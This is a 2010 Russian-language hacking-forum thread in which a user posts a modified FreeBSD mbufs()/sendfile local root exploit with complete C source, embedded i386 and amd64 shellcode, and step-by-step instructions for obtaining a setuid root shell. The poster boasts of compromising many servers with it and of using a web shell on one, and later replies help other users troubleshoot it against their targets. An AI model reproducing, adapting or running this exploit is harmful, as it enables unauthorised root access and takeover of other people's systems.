Выкладываю свою модификацию exploit FreeBSD mbufs().

Discussion in 'Уязвимости' started by kfor, 26 Sep 2010.

  1. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29
    Выкладываю свою модификацию exploit FreeBSD mbufs(). Vuln version 7.0-8.* до 12.07.10

    Сразу говорю уязвимость таже самая и эксплуатируется также. Подвержены уязвимости 7-8 до 12 Июля 2010 г.

    Моя модификация позволяет всего лишь не мучатся в переделывании шелкода. Шелкоды немного изменены но делают тоже самое. Так же бьёт i386 и amd64.
    Те кто использовал данный эксплойт (а я им уже не мало фрях свалил :) ) сталкивались с проблемой запрета запуска из /tmp или к примеру права меняются на все файлы, которые там находятся. А следовательно нужно всё время подтачивать шелкод.... Прежде чем использовать мою версию уже как боевую, запустите скомпелированый файл без параметров и выпадет небольшой хелп. Это позволит вам избежать запоротого /bin/sh и недоумения а почему не работает.!!

    p.s. советую запускать ещё третий терминал и не как sh а кпримеру bash или csh и тд , это позволит обезопасить от выпадания двух терминалов в аут.

    p.s. p.s У меня так и случилось на одном из серваков. 2 бека закрылись , а через веб шел яувидел как мой sh стал с +s. вот только его уже было никак не запустить.

    Собсно код снизу.

    Code:
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/uio.h>
    #include <fcntl.h>
    #include <netinet/in.h>
    #include <sys/select.h>
    #include <sys/stat.h>
    #include <strings.h>
    #include <stdio.h>
    #include <string.h>
    #include <err.h>
    
    int sc32( char *, unsigned char * );
    int sc64( char *, unsigned char * );
    unsigned char str32[ 196 ];
    
    main( int argc, char *argv[ ] )
    {
        int s, f, k2, sizeof_str, flags, n, chunk, arch;
        struct sockaddr_in addr;
        char buf[ 10000 ], str[ 256 ], *p;
        struct stat sb;
        fd_set wset;
        int64_t size;
        off_t sbytes, sent = 0;
    
        if( argc != 3 )
        {
            printf( "\n\n                      Modificated exploit FreeBSD mbufs().\n\n             Special for Antichat community, by \033[5;30;41mkfor\033[0m & \033[32;1;4mlord Kelvin\033[0m.\n\n\n#######        This modification can use any directory provided.        ########\n#######             Just in case you don't have an rwx /tmp             ########\n\nExample & howto:\n(1) You must cp /bin/sh /home/test/sh and cp /bin/sh /home/test/si\n    (sh++ -> si)                                  don't change \"si\"!!\n(2) 1st terminal bash# nc -l 7030\n(3) 2nd terminal bash# ./exploit i386|amd64 /home/test/sh\n(4) Waiting 5-10 min. Do ls -al /home/test/sh, if you see -r-sr-sr-x,\n      you're lucky:)\n(5) bash# /home/test/sh; id; -- You must see euid(0)\nUsage: ./exploit (i386|amd64) Directory1\n" );
            return;
        }
    
        if( strcmp( argv[ 1 ], "i386" ) == 0 )
        {
            sizeof_str = sc32( argv[ 2 ], str );
            arch = 1;
        }
        else if( strcmp( argv[ 1 ], "amd64" ) == 0 )
        {
            sizeof_str = sc64( argv[ 2 ], str );
            arch = 2;
        }
        else
        {
            printf( "define architecture i386 or amd64\n" );
            return;
        }
    
        s = socket( AF_INET, SOCK_STREAM, 0 );
        bzero( &addr, sizeof( addr ) );
        addr.sin_family = AF_INET;
        addr.sin_port = htons( 7030 );
        addr.sin_addr.s_addr = inet_addr( "127.0.0.1" );
    
        n = connect( s, ( struct sockaddr * )&addr, sizeof( addr ) );
        if( n < 0 )
            warn( "fail to connect" );
    
        f = open( "/bin/sh", O_RDONLY );
        if( f < 0 )
            warn( "fail to open file" );
        n = fstat( f, &sb );
        if( n < 0 )
            warn( "fstat failed" );
    
        size = sb.st_size;
        chunk = 0;
    
        flags = fcntl( f, F_GETFL );
        flags |= O_NONBLOCK;
        fcntl( f, F_SETFL, flags );
    
        while( size > 0 )
        {
            FD_ZERO( &wset );
            FD_SET( s, &wset );
            n = select( f + 1, NULL, &wset, NULL, NULL );
            if( n < 0 )
                continue;
    
            if( chunk > 0 )
            {
                sbytes = 0;
                if( arch == 1 )
                    n = sendfile( f, s, 2048 * 2, chunk, NULL, &sbytes, 0 );
                else if( arch == 2 )
                    n = sendfile( f, s, 1204 * 6, chunk, NULL, &sbytes, 0 );
    
    //            n = sendfile( f, s, 3128 * arch + 968, chunk, NULL, &sbytes, 0 );
    
                if( n < 0 )
                    continue;
    
                chunk -= sbytes;
                size -= sbytes;
                sent += sbytes;
                continue;
            }
    
            chunk = 2048;
    
            memset( buf, '\0', sizeof( buf ) );
            if( arch == 1 )
            {
                for( k2 = 0; k2 < 256; k2++ )
                    buf[ k2 ] = 0x90;
            }
            else if( arch == 2 )
            {
                for( k2 = 0; k2 < 100; k2++ )
                    buf[ k2 ] = 0x90;
            }
    //        memset( buf, 0x90, 412 - 156 * arch );
            memcpy( buf + k2, str, sizeof_str );
    
            n = k2 + sizeof_str;
            p = buf;
    
            write( s, p, n );
        }
    }
    
    int sc32( char *s, unsigned char *c )
    {
        int n = strlen( s ), i;
        char *p = c;
        switch( n & 3 )
        {
        case 0: case 1:
            *p++ = 0x6A;
            *p++ = s[ n & ~3 ];
            break;
        default:
            *p++ = 0x68;
            *p++ = s[ n & ~3 ];
            *p++ = s[ n & ~3 | 1 ];
            *p++ = s[ n & ~3 | 2 ];
            *p++ = 0;
        }
        for( i = n & ~3; i; i -= 4 )
        {
            *p++ = 0x68;
            *p++ = s[ i - 4 ];
            *p++ = s[ i - 3 ];
            *p++ = s[ i - 2 ];
            *p++ = s[ i - 1 ];
        }
        
        p = memcpy( p, "\x89\xE3\x31\xC0\x50\x50\x53\x50\xB0\x10\xCD\x80\x68\xED\x0D\x00\x00\x53\x50\xB0\x0F\xCD\x80\xFE\x43", 25 ) + 25;
        *p++ = n - 1;
        p = memcpy( p, "\x50\x54\x53\x50\xB0\x3B\xCD\x80", 8 ) + 8;
        return ( int )p - ( int )c;
    }
    
    int sc64( char *s, unsigned char *c )
    {
        int n = strlen( s ), i, j;
        char *p = c;
    
        switch( n & 7 )
        {
        case 0: case 1:
            *p++ = 0x6A;
            *p++ = s[ n & ~7 ];
            break;
        case 2: case 3: case 4:
            *p++ = 0x68;
            *p++ = s[ n & ~7 ];
            *p++ = s[ n & ~7 | 1 ];
            *p++ = s[ n & ~7 | 2 ];
            *p++ = n & 4 ? s[ n & ~7 | 3 ] : 0;
            break;
        default:
            *p++ = 0x48;
            *p++ = 0xBF;
            for( i = 0; i < 8; i++ )
                *p++ = i < ( n & 7 ) ? s[ n & ~7 | i ] : 0;
            *p++ = 0x57;
        }
        for( i = n & ~7; i; i -= 8 )
        {
            *p++ = 0x48;
            *p++ = 0xBF;
    	for( j = -8; j; j++ )
                *p++ = s[ i + j ];
            *p++ = 0x57;
        }
    
        p = memcpy( p, "\x6a\x10\x58\x99\x48\x89\xE7\x48\x31\xF6\x0F\x05\xB0\x0F\x68\xED\x0D\x00\x00\x5E\x0F\x05\xFE\x47", 24 ) + 24;
        *p++ = n - 1;
        p = memcpy( p, "\xB0\x38\x52\x48\x89\xE6\x0F\x05", 8 ) + 8;
    
        return ( int )p - ( int )c;
    }
    
    
     
    #1 kfor, 26 Sep 2010
    Last edited: 26 Sep 2010
    5 people like this.
  2. TheLuckyOne

    TheLuckyOne New Member

    Joined:
    9 Sep 2010
    Messages:
    30
    Likes Received:
    0
    Reputations:
    0
    На чем тестил?
     
  3. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29
    :) Под что эксплойт под то и тестил :) Как бы мощный сплойт, но в то же время и опасный. Нельзя бездумно запускать. Забыл сказать и указать в хелпе, что не надо забывать в конце восстанавливать /bin/sh. Для тех кого потеряли по дороге поясняю.

    bash# cp -f /home/test/si /bin/sh

    P.S. Ещё раз повторю, дабы не было недопонимания, это не мой новый сплойт или найденная уязвимость, это возможность воспользоваться сплойтом тем кто так или иначе не смог переписать шелкод.
     
  4. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29
    Народ будьте аккуратней при копировании. Я ща заметил, что к примеру, в шелкоде появились лишние пробелы! Если что выкладываю оригинал сюда
    Скачать файл cachemy.c

    З.Ы. shell_code возможно это и послужило падению сервака :(
     
    1 person likes this.
  5. HIMIKAT

    HIMIKAT Elder - Старейшина

    Joined:
    12 Jan 2007
    Messages:
    2,707
    Likes Received:
    581
    Reputations:
    403
    Вроде с 2005 сидишь, а до сих пор не знаешь, что форум делает принудительные пробелы.
     
  6. BlackBird

    BlackBird New Member

    Joined:
    16 Oct 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    терминал отлетает 2 (на котором открываем 7030 порт), че делать? ОС у меня 7.0-RELEASE-p11, пробовал FreeBSD local r00t zeroday, но там я смотрел rtld.c пропатчен, что посоветуете? И вот это не понятно
    как сделать?
     
  7. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29
    Ну а второй терминал то живой? там не должен шел рутовый вернуться, должен появится суидный sh.
     
  8. BlackBird

    BlackBird New Member

    Joined:
    16 Oct 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    основной живой вроде как, который весит на 7030, срабатывает и зависает, sh с правами веб сервера остается
     
  9. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29
    Ну вариант что пропатчено. Так же ты надеюсь не копировал сплойт отсюда, а взял с сылке на dump.ru. Потому что в код форум пробелы добавил...